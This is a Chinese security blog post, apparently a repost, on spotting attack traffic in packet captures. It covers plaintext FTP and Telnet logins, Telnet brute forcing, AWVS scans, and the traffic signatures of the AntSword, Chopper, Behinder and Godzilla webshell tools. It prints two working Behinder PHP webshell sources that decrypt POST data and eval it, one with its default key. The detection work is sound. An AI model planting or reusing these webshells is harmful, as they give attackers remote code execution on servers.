FTP客户端程序先与服务器建立连接,然后向服务器发送命令;
服务器收到命令后给予响应,并执行命令。
如下图所示,可以看到ftp传输的所有信息,FTP是明文形式传输数据包,我们能在info中看到登录FTP的用户名、密码、执行命令等。
客户端首先与FTP服务器TCP三次握手建立连接,建立连接成 功后,FTP服务器返回状态码220,表示服务就绪。FTP服务器返回状态码220 特征:File Transfer Protocol (FTP) 220 Welcome to the FTP Server\r\n Response code: Service ready for new user (220) Response arg: Welcome to the FTP Server
向FTP服务器发送登录用户名:ftp并等待验证,用户名验证通过后,FTP 服务器返回状态码331,表示用户名验证已通过并需要输入密码。
特征:File Transfer Protocol (FTP) USER ftp\r\n Request command: USER Request arg: ftp 使用了FTP协议,输入的用户名为ftp,请求的命令是USER,请求参数为ftp。
服务器返回331,用户名验证通过(存在此用户名) File Transfer Protocol (FTP) 331 User name ok, password required\r\n Response code: User name okay, need password (331) Response arg: User name ok, password required
将登录密码:123456发送给FTP服务器,FTP服务器验证后返回状态码 230,表示用户已经登录。
特征:File Transfer Protocol (FTP) PASS 123456\r\n Request command: PASS Request arg: 123456 输入的密码为123456,请求的命令是PASS,请求参数为123456。
服务器返回230:File Transfer Protocol (FTP) 230 Password ok, continue\r\n Response code: User logged in, proceed (230) Response arg: Password ok, continue
终端向FTP服务器发送命令,FTP服务器返回状态码 200,表示命令执行成功。
特征:执行命令:File Transfer Protocol (FTP) PWD\r\n Request command: PWD 服务器返回200:File Transfer Protocol (FTP) 200 Connection established (60309)\r\n Response code: Command okay (200) Response arg: Connection established (60309)
主机输入一个字符就发送一个Telnet报文(登录登出、执行命令均是如此)
对telnet进行爆破,对其中一个进行查看,发现使用明文传输,可以看到爆破的密码特征:Telnet Data: qwerty\r
若是使用AWVS扫描器对网站进行扫描攻击,拿到流量包进行查看,会发现大量的TCP数据和HTTP数据,可先进行筛选HTTP数据,查看Hypertext Transfer Protocol(应用层的信息),会发现AWVS特征,如下图所示。
上传并执行命令:
数据:
特征:
(1)HTTP请求中含有antSword,如下所示:User-Agent: antSword/v2.1
(2)每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)
开头(有的工具会将这段编码或者加密,而蚁剑是明文),并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数。
post数据url解码:
响应包格式:
(1)菜刀中,@ini_set(“display_errors”, “0”);@set_time_limit(0)
是base64编码
(2)菜刀伪造User-Agent,其UA为伪造成百度爬虫
冰蝎的通信过程可以分为两个阶段:
1. 密钥协商 2. 加密传输
服务端支持open_ssl时,使用AES加密算法,密钥长度16位。
上传shell.php为例
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
上传并执行命令:
上传shell并执行命令数据包:
密钥协商
客户端以get/post形式发起请求服务器密钥,由上图可以看到发送两次get请求,分为两次get握手请求,第一次请求服务端产生密钥写入session,第二次请求获取后续解密使用的 key。下图所示的 d7931a0d0b6de197
就是解密后续代码的key。
加密传输
post发送及服务端返回数据均加密通信,如下图:
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;3)执行结果通过AES加密后返回给攻击者。
使用d7931a0d0b6de197
对post数据进行解密,发现解密后数据还进行base64编码,可以直接base64解码
(后续数据包均使用d7931a0d0b6de197作为密钥进行AES解密,得到的数据进行base64解码,即可看到明文数据)
查看执行命令数据包:
进行AES解密:
base64解码,可以查看到我们执行的命令:
同样的操作对返回数据解密
查看结果如下:
特征字段
(1)Accept与Connection
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
默认情况下,请求头和响应头里会带有 Connection,Connection: Keep-Alive
(2)密钥传递阶段,密钥存在于Response Body中
采用预共享秘钥,全程无明文交互
上传shell.php
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
上传并执行命令时数据包:
执行命令:
上传数据包:
使用AES解密 (密钥为shell.php连接密码32位md5值的前16位)
将解密出的内容base64解码
$content这个变量名称和里面的内容为随机生成的, 目的是为了绕过$Content-Length
响应包内容:
先进行AES解密
对msg内容base64解码,得到的与客户端发送的$content一致,验证通过
参考:https://xz.aliyun.com/t/9404#toc-1
(以2.9.6为例)
生成并上传test2.php:
执行命令:
数据:
查看数据包,第一个包响应为空:
特征字段:
(1)User-Agent
:哥斯拉客户端使用JAVA语言编写,在默认的情况下,user-Agent显示为:User-Agent: Java/1.8.0_271
(具体什么版本取决于JDK环境版本)
(2)Accept
:Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
冰蝎中也出现过同样的Accept。
ps:以上特征可以通过自定义http头部进行去除。
(3)Cookie:``Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;
cookie最后面存在一个“;”
转自:https://www.freebuf.com/articles/web/330553.html
如有侵权,请联系删除
推荐阅读
查看更多精彩内容,还请关注橘猫学安全: